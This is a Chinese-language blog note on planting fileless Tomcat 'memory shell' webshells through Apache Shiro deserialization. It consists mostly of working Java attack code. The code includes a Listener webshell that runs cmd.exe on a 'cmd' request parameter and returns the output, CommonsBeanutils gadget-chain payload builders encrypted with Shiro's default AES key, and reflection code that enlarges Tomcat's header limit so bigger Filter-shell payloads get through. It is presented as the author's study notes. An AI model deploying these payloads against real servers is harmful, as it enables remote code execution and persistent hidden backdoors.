前言:Filter、Listener内存马分析完了之后,这篇作为Shiro反序列化内存马的笔记
自己测试的环境只在Tomcat8/9 CommonsBeanutils依赖 里面进行了测试,其他的环境不一定可行,可能有点变化,但是自己也还没研究,一步步来...
Tomcat 获得ServletContext对象
之前自己记录都只是单纯的内存马实现,其中获取相关ServletContext有时候都是直接通过request对象来进行获取,而在反序列化的时候,并不会有直接的request相关对象可以进行获取,所以一般都是唯一存在的对象,再接着配合相关反射操作来进行来最终获取ServletContext,我这里大致总结下Tomcat中获取的ServletContext对象的方法
在jsp文件自带的变量如request等等里面找
比如写的就是jsp文件中,那么就可以直接通过自带的request变量来进行获取,其实如果是写在jsp文件中就已经说明这种攻击方式是落地的了,也说不上隐蔽了
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
或者
ServletContext servletContext = request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); // 获取属性
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); //从servletContext中获取context属性->applicationContext
Field stdctx = applicationContext.getClass().getDeclaredField("context"); // 获取属性
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 从applicationContext中获取context属性->standardContext,applicationContext构造时需要传入standardContext
在没有request对象直接使用的时候,可以从Thread.currentThread()里面找
限制在于只可用于Tomcat 8 9
WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
从JMXMBeanServer的domainTb下面直接获取,我不会
....
获取StandardContext可以参考文章:https://xz.aliyun.com/t/9914
通过反序列化来注入Listener内存马
利用类(这个类的话是需要继承AbstractTranslet,因为反序列化在加载字节码执行命令之前会验证相关类是否为AbstractTranslet):
public class Memory2 extends AbstractTranslet implements ServletRequestListener {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
public Memory2() throws Exception {
super();
WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
standardCtx.addApplicationEventListener(this);
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String out = s.hasNext() ? s.next() : "";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
}
}
CommonsBeanutilsShiroMemory.java的内容,如下
public class CommonsBeanutilsShiroMemory {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Memory2.class.getName());
byte[] payloads = new CommonsBeanutils2Shiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext.toString());
}
}
注入演示:
其实这里看到执行的内容是在前面的内容之后,那是因为我实现的方法是requestDestroyed
,这种方式其实也不大好,后面会讲到Tomcat回显相关的知识点,我们需要拿到request和response来进行完全控制
为什么Shiro反序列化注入内存马的时候不能使用Filter
别人说在shiro框架中,它自己实现了关于ShiroFilter对象,所以这里走不了自定义的Filter就已经被ShiroFilter已经进行了过滤
可惜的是我这边也证实不了,因为有些东西还没学,后面学了再补上
期间遇到的问题,当Filter内存马通过匿名类定义的时候,在反序列化的时候就会报权限问题,但是自己也不知道匿名类如何来设置访问权限,所以这个点我也解决不了
考虑到Filter匿名类的权限问题,所以自己这里就单独的创建一个Filter类来实例化进去
public class FilterMemory extends AbstractTranslet implements Filter
但是发送payload的时候,shiro报错,回显 ·Request header is too large·
Request header is too large 的解决
对于Tomcat的request header的size限制是在org/apache/coyote/http11/AbstractHttp11Protocol.java#maxHttpHeaderSize 属性所控制的,如下图所示
这里如果想要在Shiro中想要对于header size比较大的序列化数据的话,就需要分为两步走
1、先通过反序列化来修改Tomcat自身默认的request header的size(这里的请求的size大小是小于默认值的)
2、然后再发送header size大的序列化数据
实现代码如下:
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler", null);
contextField.setAccessible(true);
headerSizeField.setAccessible(true);
serviceField.setAccessible(true);
requestField.setAccessible(true);
getHandlerMethod.setAccessible(true);
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.ApplicationContext applicationContext =
(org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
for (int i = 0; i < connectors.length; i++) {
if (4 == connectors[i].getScheme().length()) {
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
for (int j = 0; j < classes.length; j++) {
// org.apache.coyote.AbstractProtocol$ConnectionHandler
if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
globalField.setAccessible(true);
processorsField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo =
(org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
for (int k = 0; k < list.size(); k++) {
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
// 10000 为修改后的 headersize
headerSizeField.set(tempRequest.getInputBuffer(),10000);
}
}
}
// 10000 为修改后的 headersize
((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
}
}
}
重试Shiro反序列化Filter内存马
这里重新再试下关于Shiro反序列化Filter内存马的问题,先改下Tomcat最大header请求的大小
public class CommonsBeanutilsTomcatHeader {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(TomcatHeaderSize.class.getName());
byte[] payloads = new CommonsBeanutilsTomcatHeader().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext.toString());
}
}
上面的payload打过去之后,继续用filter的内存马payload,最后发现同样是可以执行命令的(我这里shiro环境不是基于spring)
这里可以来调试下,此时的Filterchains是如何走的,可以看到Filter是注入进去了
同样的这里也可以走到,此时的Filter内存马的位置的优先级是在最前面的,然后我这里想了下不知道其他人说为什么Filter不行,以后如果又遇到自己再来补上真正的原因吧
关于Tomcat回显的知识点和问题
这里想了下放Tomcat回显的文章中讲会比较好点,到时候再来继续演示,文章地址为:https://www.cnblogs.com/zpchcbd/p/15153518.html